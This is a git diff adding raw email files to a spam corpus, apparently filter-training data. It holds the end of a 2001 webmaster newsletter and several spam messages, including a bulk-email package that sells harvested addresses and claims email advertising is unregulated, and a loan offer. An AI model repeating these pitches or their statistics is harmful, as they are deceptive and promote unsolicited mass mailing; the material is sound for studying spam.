    Are you net savvy? Have you learned from your own trials and errors and +are willing to share your experience? Look over the questions each day, +and if you have an answer or can provide help, post your answer to +MyInput@AEOpublishing.com Be sure to include your signature +file so you get credit (and exposure to your site).

    + + + +QUESTIONS:

    + +From: moviebuff@cliffhanger.com
    +Subject: Using pictures as links

    + +I'm changing my website and want to use pictures for the links to other pages. +But, someone told me I should still put a 'click here' underneath all the +pictures. To me, this removes all purpose of using the pictures.

    + +How can I get across that you click on the pictures to get to other pages +without coming right out and saying so? For example, I have a page with +actor and actress information and just want to have a picture of my +favorite stars to click on and change the picture every couple of days.

    + +Mark
    +moviebuff@cliffhanger.com
    +

    + + + +ANSWERS:

    + +From: Zaak - Zaako@linkpaks.com
    +Subject: Access using a proxy

    + +>From: CJ (cj5000@post.com)
    +>Subject: Unblocking sites so I can access? (Issue #422)

    + +--> I am currently living in a place where the ISP is +blocking 50% of +the web. I was told by someone that you can unblock these web sites by +using a proxy, but I don't know what that means. I am wondering is +there a way to get access to these sites? --
    +

    +A proxy is easy to use if you use someone elses, they can be tricky to setup yourself. +I have had very good results with Surfola. Basically you surf to their servers and then +from there you surf Through/From their servers. I have several places I surf from that +block content. Surfola easily bypasses them! Its also Free! You can also make money +with them but I just use them to bypass anal retentive ISP/Corporate providers and +because they allow me to surf anonymously!

    + +I have a detailed right-up on them at http://linkpaks.com/paidtosurf/Surfola.php +See there for more info. If anything is not clear feel free to ask. +(Email & Sign-up Links on http://linkpaks.com/paidtosurf/Surfola.php page)

    + +Zaak OConan
    +Netrepreneur
    +Http://LinkPaks.com - Surf & Earn Guides
    +Http://LinktoCash.com - Internet Businesses for under $100
    +Http://ITeam.ws - The Hottest Product on the Net Today

    + + +++++ Next Answer - Same Question ++++

    + +From: Wyn Publishing - wynpublishing@iname.com
    +Subject: Using A Proxy To Visit Blocked Sites

    + +>From: CJ (cj5000@post.com)
    +>Subject: Unblocking sites so I can access? (Issue #422)

    + +CJ,

    + +Two such sites that allows proxy surfing are:
    +http://www.anonymise.com and +http://www.anonymizer.com .

    + +However, if you cannot get to that site then obviously it will not work. +Also note, that if your ISP is dictating to you which sites you may or +may not visit, then it is time to change providers!

    + +Gregory Bendickson, Wyn Publishing
    +Over 28 Free Traffic exchange services reviewed in a fully
    +customizable e-book. Download yours free and get multiple
    +signups while learning the art of free web traffic!
    +http://www.trafficmultipliers.com

    +

    ______________________________________________________

    + +>>>>>>> WEBSITE SHOWCASES <<<<<<<

    + +Examine carefully - those with email addresses included WILL +trade links with you, you are encouraged to contact them. And, there +are many ways to build a successful business. Just look at these +successful sites/programs other members are involved in...

    +-----------------------------------------------------

    + +"It's The Most D-A-N-G-E-R-O-U-S Book on the Net" +Email 20,000 Targeted Leads Every Single Day! Slash Your +Time Online to just 1-2 Hours Daily! Build 11 Monthly Income +Streams Promoting ONE URL! Start building YOUR Business - +NOT everyone elses! http://www.roibot.com/w.cgi?R8901_bd_shwc
    +-----------------------------------------------------

    + +Is your website getting traffic but not orders? +Profile, Analyze, Promote, and Track your site to +get the results you want. Fully Guaranteed! +Free Trial Available! http://www.roibot.com/w.cgi?R4887_saa
    +------------------------------------------------------

    + +OVER 7168 SITES TO PLACE YOUR FREE AD! +Get immediate FREE exposure on thousands of sites. +Plus two FREE programs that will AUTOMATICALLY type +your ad for you! Pay one time, promote all the time. + http://www.hitekhosting.net/cgi-bin/club_click.cgi?ID2932
    +-----------------------------------------------------

    + +If you have a product, service, opportunity and/or quality +merchandise that appeals to people worldwide, reach your +target audience! + +For a fraction of what other large newsletters charge you +can exhibit your website here for only $8 CPM. Why?... +Because as a valuable member we want you to be successful! +Order today - Exhibits are limited and published on a +first come, first serve basis. http://bannersgomlm.com/ezine
    +

    +______________________________________________________
    + +>>>>>>> MEMBER *REVIEWS* <<<<<<<<

    + +Visit these sites, look for what you like and any suggestions +you can offer, and send your critique to MyInput@AEOpublishing.com +And, after reviewing three sites, your web site will be added to +the list! It's fun, easy, and it's a great opportunity to give +some help and receive an informative review of your own site. +Plus, you can also win a chance to have your site chosen for +a free website redesign. One randomly drawn winner each month!

    + + +SITES TO REVIEW:

    + +Site #124: http://www.BestWayToShop.com
    +Dale Pike
    +rhinopez@aol.com

    + +Site #125: http://www.wedeliverparties.com
    +Dawn Clemons
    +dclemons7@home.com

    + +Site #126: http://www.EClassifiedshq.com
    +Carol Cohen
    +Opp0rtunity@aol.com

    +

    SITE REVIEWED:

    + +Comments on Site #123: http://netsbestinfo.homestead.com/nbi.html
    +Dennis
    +damorganjr@yahoo.com
    +~~~~

    + +I reviewed site 123 and found the size of the font to be too aggressive and +I don't like mustard yellow for a background. Also in the second or third +paragraph is a misspelled word which should be "first-come" not as +shown on the page.

    + +I feel a sample of the type of information offered in the newsletter should +be displayed on the page as well as a sample of the free ads offered +on the site. I will probably submit a free ad just to see the content of the newsletter.

    + +As has been mentioned many times, some information about the person +doing the page is always good. We need some information about +why this newsletter will be worthwhile to subscribe to.
    +~~~~

    + +Dennis - I took a look at your site, and have recommendations +for improving your page.
    +1- I use Internet Explorer and view web pages with my text size set to +'smaller'. The text you used was quite large, like a font used for a heading +for all the text. By making the text size smaller it wouldn't feel like +you were screaming at me. Also, the background was just too much.
    +2- There were spelling errors in the text. Often it might be difficult for you +to spot these yourself if you see the page all the time, but have a friend +look it over. Spelling errors make the page look unprofessional.
    +3- Offer a sample of your newsletter so people can see what it looks like +before they subscribe. Also, if you are asking for a person to give you +their email address, you MUST have a privacy policy and let them know +they can unsubscribe.
    +4- Think about adding a form for people to subscribe to the newsletter. +It looks more professional than just offering an email address to send to.
    +5- Offer information about yourself, and the kinds of information your +newsletter contains. Maybe extend your site to include back issues or +an archive to see what information you have offered in the past.
    +6- Build another page for 'sponsoring info' and put prices on that +page. Remove all pricing information from the home page.
    +~~~~

    + +I feel that the background is a little too bold and busy for the text. +I also believe that the text is too large which makes it difficult to read +quickly, and forces the reader to scroll down unnecessarily. +I noticed some spelling errors, and I think that a link to the classifieds +site should be provided, and online payments should be accepted. +A site that sells advertising should have advertisments on it!
    +~~~~

    + +This is a very clear site with nothing interfering with the +message. I did not like the background colour, however that is +personal, it did not detract from the information. I was tempted +to sign up for the newsletter but would have liked a link to see +a current issue. There was an error in the wording (a word +missed) which needs correction and I think the fonts could be +smaller. Overall a non-confusing site which makes a nice change. *cheers*
    + +~~~~

    + +Could use a better background and the fonts are very large, there also +are errors in the following paragraphs : +"first com-first serve" and "to place a sponsor advertisement, +send your to my email"
    +~~~~

    + +A single page site. It is necessary to subscribe to the webmaster's +newsletter to see what he's doing, and it doesn't seem to me to be +a way to get people to visit. I wouldn't, for example. He claims to +have lots of tidbits of information that, he says, we probably +didn't know, and this is possible, but in my opinion, he would be +better served if he at least put some of the things out there for +all to see - when the appetite, so to speak, if he want people to +subscribe. As it is, I would not bother.
    +~~~~

    + +What does one expect from a site like netsbestinfo? Some useful +resources and some useful tips and also some forms of easy +advertisement on the net. But what we get here is a newsletter +with the owner (whose email reads damorgarjr@yahoo.com) +asking us to subscribe us to his newsletter for a free 4-line ad. +He also tells of paid category of advertisements. This is all we get +from a site which has a grand title. Even the information about +the newsletter is hardly impressive and is presented in about 35-to-40 +points size which gets difficult to read.
    +~~~~

    + +A neat enough site but the background could be a little hard on +the eyes. There is only really one problem with this page - its +just an advertisement for a newsletter. No, scratch that, its an +advertisement to place free ads in a newsletter. A bold enough +move perhaps but I learned hardly anything about the newsletter +itself and immediately started worrying about getting a flood of +ads to my email account so I didn't even subscribe. Presumably +you'd want to get people to sign up so might I suggest splitting +the page into the newsletter itself, perhaps a sample issue, +a privacy policy and a promise not to drown in ads and then click +for more info on your free ads.

    +________________________________________
    + +VOTE ON YOUR FAVORITE WEBSITE DESIGN!
    + +Help out the winner of the free website redesign by voting for +YOUR favorite!

    + +You can help out Teddy at links4profit.com by taking a +look at his site, then checking out the three new layouts Jana of +AkkaBay Designs AkkaBay.com has designed specifically +for him. After you've visited all three, vote for your favorite. +To make this as easy as possible for you, just click on the e-mail +address that matches your choice - you do not need to enter +any information in the subject or body of the message.

    + +I have included a note from Jana, and the links to Teddy's +current site along with the three new designs:

    + +>From Jana: The pages have been created as non-frame pages +although with minor modification, the pages could be adapted +for use in a frames environment

    + +Please take a look at the existing site: http://www.links4profit.com

    + +Here are the 3 redesigns:

    + +http://AkkaBay.com/links4profit/index.html
    +Vote for this design: design1@AEOpublishing.com

    + +http://AkkaBay.com/links4profit/index2.html
    +Vote for this design: design2@AEOpublishing.com

    + +http://AkkaBay.com/links4profit/index3.html
    +Vote for this design: design3@AEOpublishing.com

    + +You will have all of this week to vote (through June 29), and +we'll list the favorite and most voted for layout next week. +Teddy of course will be able to choose his favorite, and +colors, font style/size, backgrounds, textures, etc, can all +easily be changed on the "layout" that he likes. +

    +Free website re-designs and original graphics are provided to +FLN Showcase winners courtesy of AkkaBay Designs. + http://AkkaBay.com

    + +If you have any questions about how this works or how you can +participate, please email Amy at MyInput@AEOpublishing.com
    +______________________________________________________
    +______________________________________________________
    + +Send posts and questions (or your answers) to:
    + MyInput@AEOpublishing.com
    +Please send suggestions and comments to:
    + Moderator@AEOpublishing.com

    + +To change your subscribed address, send both new +and old address to Moderator@AEOpublishing.com
    +See below for unsubscribe instructions.
    + +Copyright 2001 AEOpublishing
    + +-----End of Your Membership Exchange

    + + + +

    + +

    +
    +

    +
    + + + +     +
    + +     		 
     
    + + + +
    This email was sent to jm@netnoteinc.com, at your request, by Your Membership Newsletter Services. +
    Visit our Subscription Center to edit your interests or unsubscribe. +
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    + +
    + + +--1074482631.993802752000.JavaMail.RovAdmin.rovweb002-- + + + diff --git a/bayes/spamham/spam_2/00045.c1a84780700090224ce6ab0014b20183 b/bayes/spamham/spam_2/00045.c1a84780700090224ce6ab0014b20183 new file mode 100644 index 0000000..31df3f6 --- /dev/null +++ b/bayes/spamham/spam_2/00045.c1a84780700090224ce6ab0014b20183 @@ -0,0 +1,382 @@ +From rb.ellison@dr.com Fri Jun 29 21:55:50 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from infodental.co.kr (unknown [211.240.48.194]) by + mail.netnoteinc.com (Postfix) with SMTP id B4443130270 for + ; Fri, 29 Jun 2001 21:55:47 +0100 (IST) +Received: from autodoors.co.kr (64.40.39.124) by infodental.co.kr + (211.240.48.194) with [nMail V2.1 2001.03.07 (Win32) SMTP Server] for + from ; Fri, 29 Jun 2001 19:12:15 + +0900 +To: emreceive@post.com +Date: Fri, 29 Jun 01 01:03:58 EST +From: rb.ellison@dr.com +Subject: Re: Advertise to 28,000,000 for FREE... +Message-Id: <20010629205547.B4443130270@mail.netnoteinc.com> + + +Would you like to send a Broadcast Email Advertisement to up to +1,000,000+ PEOPLE DAILY (30,000,000+ People a Month) for FREE? + +----- ---- --- -- - - +1) Let's say you... Sell a $19.95 PRODUCT or SERVICE. +2) Let's say you... Broadcast Email to 500,000 PEOPLE DAILY. +3) Let's say you... Receive JUST 1 ORDER for EVERY 2,500 EMAILS. + +CALCULATION OF YOUR EARNINGS BASED ON THE ABOVE STATISTICS: +[Day 1]: $3,990 [Week 1]: $27,930 [Month 1]: $111,720 + +----- ---- --- -- - - +You now know why you receive so many email advertisements... +===> BROADCAST EMAIL ADVERTISING IS EXTREMELY PROFITABLE! + +1) What if you... Sell a $99.95 PRODUCT or SERVICE? +2) What if you... Broadcast Email to 30,000,000+ PEOPLE MONTHLY? +3) What if you... Receive 1 ORDER for EVERY 250 EMAILS? + +Just IMAGINE => DAY 30! ==> WEEK 30!! ===> MONTH 30!!! + +==> The PROFITS that Broadcast Email CAN GENERATE are AMAZING! + +** According to Forrester Research, a Broadcast Email Ad is up to +** 15 TIMES MORE Likely to Result in a Sale than a Banner Ad! + +----- ---- --- -- - - +[COMPARISON OF INTERNET ADVERTISING METHODS]: +================================================================== +=> A 1/20 Page Targeted Web Site Banner Ad to 5 Million People + on the Internet can cost you about $100,000. + +=> A 5 Page Targeted Direct Mail Advertisement to 1 Million People + through the Postal Service can cost you about $500,000. + +=> A 50 Page Targeted HTML Broadcast Email Advertisement with + Pictures to 50,000,000 People through the Internet is Free. + +..Which advertising method sounds most appealing to you? + +================================================================== + +"Targeted direct email advertising is the wave of the future. + By no other means can you effectively reach your market so + quickly and inexpensively." - ONLINE PROFITS NEWSLETTER + +"Many business people are finding out that they can now advertise + in ways that they never could have afforded in the past. The + cost of sending mass e-mail is extremely low, and the response + rate is high and quick." - USA TODAY + +---- --- -- - - +[EXAMPLE OF A PERSONALIZED/TARGETED BROADCAST EMAIL]: +-------- ------- ------ ----- ---- --- -- - - +From: kate@cattiesinc.com +To: mary@commtomm.com +Subject: Cat Information! + +Hi Mary, + +Are you interested in receiving up to 80% SAVINGS on CAT SUPPLIES? +If so, come visit our web site at: http://www.cattiesinc.com + +================================================================== +=> With Broadcast Email Software, a Broadcast Email Advertisement +=> like this one can be AUTOMATICALLY sent to up to 1,000,000 +=> PEOPLE on a DAILY BASIS with LESS than 2 MINUTES of YOUR TIME! + +"IMT Strategies Reports an Average of a 16.4% CLICK THROUGH RATE + from users that have received a Broadcast Email Advertisement!" + +----- ---- --- -- - - +Our Broadcast Email Software with DNS Technology Automatically +Creates 10 SUPER-FAST MAIL SERVERS on Your COMPUTER used to Send +out Your Broadcast Emails Directly to the Recipients! + +==> With this NEW EMAIL SENDING TECHNOLOGY... +==> Your Internet Provider's Mail Servers are NOT USED! + +There are NO Federal Regulations or Laws on Email Advertising & +Now with our Software, You Can Avoid Internet Provider Concerns! + +---- --- -- - - +BE PREPARED! You may receive A HUGE AMOUNT of orders within +minutes of sending out your first Broadcast Email Advertisement! + +* According to Digital Impact, 85% of Broadcast Email Offers are + responded to within the FIRST 48 HOURS! (IMMEDIATE ORDERS!) + +"When you reach people with e-mail, they're in a work mode, even + if they're not at work. They're sitting up, they're alert. You + catch them at a good moment, and if you do it right, you have a + really good shot of having them respond." + - WILLIAM THAMES [Revnet Direct Marketing VP] + +* An Arthur Anderson Online Panel Reveals that 85% of Online Users + say that Broadcast Email Advertisements have led to a purchase!" + +================================================================== +=> If you send a Broadcast Email Advertisement to 50,000,000 +=> People and Just 1 of 5,000 People Respond, You Can Generate +=> 10,000 EXTRA ORDERS! How Much EXTRA PROFIT is this for You? +================================================================== + +"According to FloNetwork, US Consumers DISCOVER New Products and + Services 7+ TIMES MORE LIKELY through an Email Advertisement, + than through Search Engines, Magazines and Television COMBINED!" + +Only a HANDFUL of Companies on the Internet have Discovered +Broadcast Email Advertising... => NOW YOU CAN BE ONE OF THEM!! + +** United Messaging says there are 890+ MILLION EMAIL ADDRESSES! +** GET READY! Now with Broadcast Email, You Can Reach them ALL! + +------ ----- ---- --- -- - - +As Featured in: "The Boston Globe" (05/29/98), +"The Press Democrat" (01/08/99), "Anvil Media" (01/29/98): +================================================================== +[NIM Corporation Presents]: THE BROADCAST EMAIL PACKAGE +================================================================== +REQUIREMENTS: WIN 95/98/2000/ME/NT or MAC SoftWindows/VirtualPC + +=> [BROADCAST EMAIL SENDER SOFTWARE] ($479.00 Retail): + Our Broadcast Email Sender Software gives you the ability to + send out Unlimited, Personalized and Targeted Broadcast Email + Advertisements to OVER 500,000,000 People on the Internet at + the rate of up to 1,000,000 DAILY, AUTOMATICALLY and for FREE! + Have a List of Your Customer Email Addresses? Now you can + Broadcast Email Advertise to them with our software! + +=> [TARGETED EMAIL EXTRACTOR SOFTWARE] ($299.00 Retail): + Our Targeted Email Extractor Software will Automatically + Navigate through the TOP 8 Search Engines, 50,000+ Newsgroups, + Millions of Web Sites, Deja News, Etc.. and Collect MILLIONS + of Targeted Email Addresses by using the keywords of your + choice! This is the ULTIMATE EXTRACTOR TOOL! + +=> [28,000,000+ EMAIL ADDRESSES] ($495.00 Retail): + MILLIONS of the NEWEST & FRESHEST General Interest and + Regionally Targeted Email Addresses Separated by Area Code, + State, Province, and Country! From Alabama to Wyoming, + Argentina to Zimbabwe! 28,000,000+ FRESH EMAILS are ALL YOURS! + +=> [STEP BY STEP BROADCAST EMAIL PACKAGE INSTRUCTIONS]: + You will be Guided through the Entire Process of Installing + and Using our Broadcast Email Software to Send out Broadcast + Email Advertisements, like this one, to MILLIONS of PEOPLE for + FREE! Even if you have NEVER used a computer before, these + instructions make sending Broadcast Email as EASY AS 1-2-3! + +=> [THE BROADCAST EMAIL HANDBOOK]: + The Broadcast Email Handbook will describe to you in detail, + everything you ever wanted to know about Broadcast Email! + Learn how to write a SUCCESSFUL Advertisement, how to manage + the HUNDREDS of NEW ORDERS you could start receiving, what + sells BEST via Broadcast Email, etc... This Handbook is a + NECESSITY for ANYONE involved in Broadcast Email! + +=> [UNLIMITED CUSTOMER & TECHNICAL SUPPORT]: + If you ever have ANY questions, problems or concerns with + ANYTHING related to Broadcast Email, we include UNLIMITED + Customer & Technical Support to assist you! Our #1 GOAL is + CUSTOMER SATISFACTION! + +=> [ADDITIONAL INFORMATION]: + Our Broadcast Email Software Package contains so many + features, that it would take five additional pages just to + list them all! Duplicate Removing, Automatic Personalization, + and Free Upgrades are just a few of the additional bonuses + included with our Broadcast Email Software Package! + +=> ALL TOGETHER our Broadcast Email Package contains EVERYTHING + YOU WILL EVER NEED for your entire Broadcast Email Campaign! + +** You Will Receive the ENTIRE Broadcast Email Package with + EVERYTHING Listed Above ($1,250.00+ RETAIL) for ONLY $499.00! +================================================================== +=> BUT WAIT!!! If You Order by Friday, June 29th, You Will + Receive the ENTIRE Broadcast Email Package for ONLY $295.00!! +================================================================== + +Regardless, if you send to 1,000 or 100,000,000 PEOPLE... + +You will NEVER encounter any additional charges ever again! +Our Broadcast Email Software sends Email for a LIFETIME for FREE! + +----- ---- --- -- - - +Since 1997, we have been the Broadcast Email Marketing Authority. +Our #1 GOAL is to see YOU SUCCEED with Broadcast Email Advertising. + +We are so confident about our Broadcast Email Package, that we are +giving you 90 DAYS to USE OUR ENTIRE PACKAGE FOR FREE! + +==> You can SEND Unlimited Broadcast Email Advertisements! +==> You can EXTRACT Unlimited Targeted Email Addresses! +==> You can RECEIVE Unlimited Orders! + +If you do not receive at least a 300% INCREASE in SALES or are not +100% COMPLETELY SATISFIED with each and every single aspect of our +Broadcast Email Package, simply return it to us within 90 DAYS for +a 100% FULL REFUND, NO QUESTIONS ASKED!! + +Best of ALL, if you decide to keep our Broadcast Email Package, it +can be used as a 100% TAX WRITE OFF for your Business! + +---- --- -- - - +See what users of our Broadcast Email Package have to say... +================================================================== + +"Since using your program, I have made as much in two days as I + had in the previous two weeks!!!!! I have to say thank you for + this program - you have turned a hobby into a serious money + making concern." + = W. ROGERS - Chicago, IL + +"We have used the software to send to all our members plus about + 100,000 off the disk you sent with the software and the response + we have had is just FANTASTIC!! Our visits and sales are nearly + at an all time high!" + = A. FREEMAN - England, UK + +"I have received over 1200 visitors today and that was only + sending out to 10,000 email addresses!" + = K. SWIFT - Gunnison, CO + +"I'm a happy customer of a few years now. Thanks a lot....I love + this program.." + = S. GALLAGHER - Melville, NY + +"Thanks for your prompt filing of my order for your broadcast email + software -- it took only about a day. This is faster than ANYBODY + I have ever ordered something from! Thanks again!" + = W. INGERSOLL - Scottsdale, AZ + +"I feel very good about referring the folks I have sent to you + thus far and will continue to do so. It is rare to find a company + that does business this way anymore...it is greatly appreciated." + = T. BLAKE - Phoenix, AZ + +"Your software is a wonderful tool! A++++" + = S. NOVA - Los Angeles, CA + +"Thank you for providing such a fantastic product." + = M. LOPEZ - Tucson, AZ + +"Your tech support is the best I have ever seen!" + = G. GONZALEZ - Malibu, CA + +"I am truly impressed with the level of service. I must admit I + was a bit skeptical when reading your ad but you certainly deliver!" + = I. BEAUDOIN - Toronto, ON + +"My first go round gave me $3000 to $4000 in business in less than + one week so I must thank your company for getting me started." + = A. ROBERTS - San Francisco, CA + +"We are really happy with your Email program. It has increased + our business by about 500%." + = M. JONES - Vancouver, BC + +"IT REALLY WORKS!!!!! Thank you thank you, thank you." + = J. BECKLEY - Cupertino, CA + +----- ---- --- -- - - +[SOUND TOO GOOD TO BE TRUE?] + +** If you Broadcast Email to 500,000 Internet Users Daily... +** Do you think that maybe 1 of 5,000 may order? + +=> If so... That is 100 EXTRA (COST-FREE) ORDERS EVERY DAY!! + +Remember.. You have 90 DAYS to use our Broadcast Email Package +for FREE and SEE IF IT WORKS FOR YOU! + +If YOU are not 100% COMPLETELY SATISFIED, SIMPLY RETURN the +Broadcast Email Package to us within 90 DAYS for a FULL REFUND! + +--- -- - - +[BROADCAST EMAIL SOFTWARE PACKAGE]: Easy Ordering Instructions +================================================================== +=> Once your order is received we will IMMEDIATELY RUSH out the +=> Broadcast Email Package on CD-ROM to you via FEDEX PRIORITY +=> OVERNIGHT or PRIORITY INTERNATIONAL the SAME DAY => FREE!! + +------- ------ ----- ---- --- -- - - +[TO ORDER BY PHONE]: +To order our Broadcast Email Software Package by phone with +a Credit Card or if you have any additional questions, please +call our Sales Department M-F from 8am to 5pm PST in the USA at: + +=> (888)6-NEUPORT / (888)663-8767 or NON-USA at: (541)482-1285 + +** ALL Major Credit Cards are Accepted! + +To Be REMOVED From Our Email List in the USA Call: (888)352-5443 +NON-USA Residents or to FAX Your Remove Request Call: (240)526-6546 +------- ------ ----- ---- --- -- - - +[TO ORDER BY FAX]: +To order our Broadcast Email Software Package by fax with a Credit +Card, please print out the order form at the bottom of this email +and complete all necessary blanks. Then, fax the completed order +form to: + +=> (541)482-1315 + +------- ------ ----- ---- --- -- - - +[TO ORDER BY POSTAL MAIL]: +To order our Broadcast Email Software Package with a Cashiers +Check, Credit Card, US Money Order, US Personal Check, or US Bank +Draft by postal mail, please print out the order form at the +bottom of this email and complete all necessary blanks. + +Then, send it along with payment of U.S. $295.00 postmarked by +Friday, June 29th, or $499.00 after Friday, June 29th to: + +NIM Corporation +1314-B Center Drive #514 +Medford, OR 97501 +United States of America + +----- ---- --- -- - - +"OVER 20,000 BUSINESSES come on the Internet EVERY single day... +If you don't send out Broadcast Email... YOUR COMPETITION WILL!" + +------- ------ ----- ---- --- -- - - +[Broadcast Email Software Package]: ORDER FORM +(c)1997-2001 NIM Corporation. All Rights Reserved +================================================================== + +Company Name: ____________________________________________________ + +Your Name: _______________________________________________________ + +BILLING ADDRESS: _________________________________________________ + +City: ________________________ State/Province: ___________________ + +Zip/Postal Code: _______________ Country: ________________________ + +NON POBOX SHIPPING ADDRESS: ______________________________________ + +City: ________________________ State/Province: ___________________ + +Zip/Postal Code: _______________ Country: ________________________ + +Phone Number: ___________________ Fax Number: ____________________ + +Email Address: ___________________________________________________ + +** To Purchase by Credit Card, Please Complete the Following: + +Visa [ ] Mastercard [ ] AmEx [ ] Discover [ ] Diners Club [ ] + +Name on Credit Card: _____________________________________________ + +CC Number: _________________________________ Exp. Date: __________ + +Amount to Charge Credit Card ($295.00 or $499.00): ______________ + +Signature: _______________________________________________________ + +================================================================== + + + diff --git a/bayes/spamham/spam_2/00046.96a19afe71cd6f1f14c96293557a49ff b/bayes/spamham/spam_2/00046.96a19afe71cd6f1f14c96293557a49ff new file mode 100644 index 0000000..a8110f7 --- /dev/null +++ b/bayes/spamham/spam_2/00046.96a19afe71cd6f1f14c96293557a49ff @@ -0,0 +1,238 @@ +From acerra@hotmail.com Thu Jun 28 17:32:00 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from kiwwi.cz (unknown [62.168.77.19]) by mail.netnoteinc.com + (Postfix) with SMTP id 17921130029 for ; Thu, + 28 Jun 2001 17:31:58 +0100 (IST) +Received: from 62.172.48.202 ([142.154.110.240]) by kiwwi.cz ; + Wed, 27 Jun 2001 20:12:51 +0200 +Message-Id: <00007c3b4a9d$00006d3c$00003457@62.200.0.40> +To: +From: acerra@hotmail.com +Subject: Do you Remember Me? +Date: Fri, 29 Jun 2001 13:41:58 -0700 +MIME-Version: 1.0 +Content-Transfer-Encoding: quoted-printable +X-Priority: 3 +X-Msmail-Priority: Normal +Reply-To: sasha4042@mailandnews.com + + + + + + + + + + + + + + + + + + + + + diff --git a/bayes/spamham/spam_2/00047.3c90d41f59137916d6b80e6f8e16ccba b/bayes/spamham/spam_2/00047.3c90d41f59137916d6b80e6f8e16ccba new file mode 100644 index 0000000..6cfea7a --- /dev/null +++ b/bayes/spamham/spam_2/00047.3c90d41f59137916d6b80e6f8e16ccba @@ -0,0 +1,238 @@ +From acana67062@hotmail.com Wed Jun 27 19:47:44 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from marvin.innovatio.de (marvin.innovatio.de [62.180.96.10]) by + mail.netnoteinc.com (Postfix) with ESMTP id 7D3F8130029 for + ; Wed, 27 Jun 2001 19:47:32 +0100 (IST) +Received: from 62.168.65.8 [142.154.110.240] by marvin.innovatio.de + (SMTPD32-6.00) id AFDA5B0102; Wed, 27 Jun 2001 20:03:06 +0200 +Message-Id: <00005a3a1065$00001739$0000345b@62.168.65.8> +To: +From: acana67062@hotmail.com +Subject: I Can't Wait Anymore! +Date: Fri, 29 Jun 2001 13:41:59 -0700 +MIME-Version: 1.0 +Content-Transfer-Encoding: quoted-printable +X-Priority: 3 +X-Msmail-Priority: Normal +Reply-To: sasha7097@ematic.com + + + + + + + + + + + + + + + + + + + + + diff --git a/bayes/spamham/spam_2/00048.91474353d7616d0df44b0fb04e2899ff b/bayes/spamham/spam_2/00048.91474353d7616d0df44b0fb04e2899ff new file mode 100644 index 0000000..07a3f25 --- /dev/null +++ b/bayes/spamham/spam_2/00048.91474353d7616d0df44b0fb04e2899ff @@ -0,0 +1,49 @@ +From cowboy1965@btamail.net.cn Sat Jun 30 06:02:07 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from cetcol.net.co (unknown [200.25.79.3]) by + mail.netnoteinc.com (Postfix) with SMTP id 931CD130270 for + ; Sat, 30 Jun 2001 06:02:00 +0100 (IST) +Received: from html by cetcol.net.co (SMI-8.6/SMI-SVR4) id AAA03367; + Sat, 30 Jun 2001 00:02:29 -0700 +Message-Id: <200106300702.AAA03367@cetcol.net.co> +To: yyyy7@netnoteinc.com +Subject: Email Marketing Works +Date: Fri, 29 Jun 2001 22:11:06 +MIME-Version: 1.0 +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 5.00.2919.6700 +X-Mimeole: Produced By Microsoft MimeOLE V5.00.2919.6700 +From: cowboy1965@btamail.net.cn + + +

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    + + diff --git a/bayes/spamham/spam_2/00050.bdb8b228ff67fd4a61f8b0c8e81240c9 b/bayes/spamham/spam_2/00050.bdb8b228ff67fd4a61f8b0c8e81240c9 new file mode 100644 index 0000000..a1faa18 --- /dev/null +++ b/bayes/spamham/spam_2/00050.bdb8b228ff67fd4a61f8b0c8e81240c9 @@ -0,0 +1,50 @@ +From larlar78@MailOps.Com Sat Jun 30 00:19:08 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from mail.co.kenosha.wi.us (unknown [207.67.59.194]) by + mail.netnoteinc.com (Postfix) with SMTP id 0C3E0130270 for + ; Sat, 30 Jun 2001 00:19:06 +0100 (IST) +Received: from no.name.available by mail.co.kenosha.wi.us via smtpd (for + gw.netnoteinc.com [193.120.149.226]) with SMTP; 29 Jun 2001 23:19:06 UT +Received: from ntri.co.kenosha.wi.us ([172.20.2.2]) by + kcex.co.kenosha.wi.us with SMTP (Microsoft Exchange Internet Mail Service + Version 5.5.2650.21) id N4D351D9; Fri, 29 Jun 2001 18:20:07 -0500 +Message-Id: <00003d165f3d$00002794$00002bfb@pob23uifesi.cc.org.ar + ([61.408.316.4]) by ris5s2.daidacenott14sere1.chuea.cesaimtv.net.ie + (8.9.1a/8.9.1/1.0) with SMTP id NAE11975 ([217.45.256.4])> +To: +From: larlar78@MailOps.Com +Received: from sdn-ar-003flmiamP250.dialsprint.net ([168.191.254.12]) by + ntri.co.kenosha.wi.us via smtpd (for [172.20.2.80]) with SMTP; + 29 Jun 2001 23:18:26 UT +Subject: Notice +Date: Fri, 29 Jun 2001 19:18:36 -0400 +MIME-Version: 1.0 +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal + + + +We are Loan Specialists.....Tap into our huge network of Lenders! + +For U.S.A. Homeowners Only + +Interest Rates have Dropped....Start Saving Now! + +We Will Shop The Best Loan For You! + +Are you in debt? Need extra cash? We can get you the loan you need. Regardless +of whether you have good or bad credit, we can help you.We specialize in First +and Second Mortgages, including loans that other lenders turn down. Funding +borrowers with less than perfect credit is our specialty. We have loan programs +that are unheard of. + +CLICK HERE FOR ALL DETAILS http://membres.tripod.fr/zapote24/ + +=================================================================== +REMOVAL INSTRUCTIONS: You may automatically remove yourself from any future mailings +by clicking here. mailto:geoposti@uole.com?subject=delete-mort + + + diff --git a/bayes/spamham/spam_2/00051.8b17ce16ace4d5845e2299c0123e1f14 b/bayes/spamham/spam_2/00051.8b17ce16ace4d5845e2299c0123e1f14 new file mode 100644 index 0000000..814fb51 --- /dev/null +++ b/bayes/spamham/spam_2/00051.8b17ce16ace4d5845e2299c0123e1f14 @@ -0,0 +1,1240 @@ +From YourMembership2@AEOpublishing.com Sat Jun 30 07:38:50 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from rovdb001.roving.com (rovdb001.roving.com [216.251.239.53]) + by mail.netnoteinc.com (Postfix) with ESMTP id F0CCC11812D for + ; Sat, 30 Jun 2001 07:38:45 +0100 (IST) +Received: from rovweb002 (unknown [10.208.80.86]) by rovdb001.roving.com + (Postfix) with ESMTP id 4324A25ABD for ; Sat, + 30 Jun 2001 02:38:36 -0400 (EDT) +From: 'Your Membership' Editor +To: yyyy@netnoteinc.com +Subject: Your Membership Community & Commentary, 06-29-01 +X-Roving-Queued: 20010630 02:38.24265 +X-Roving-Version: 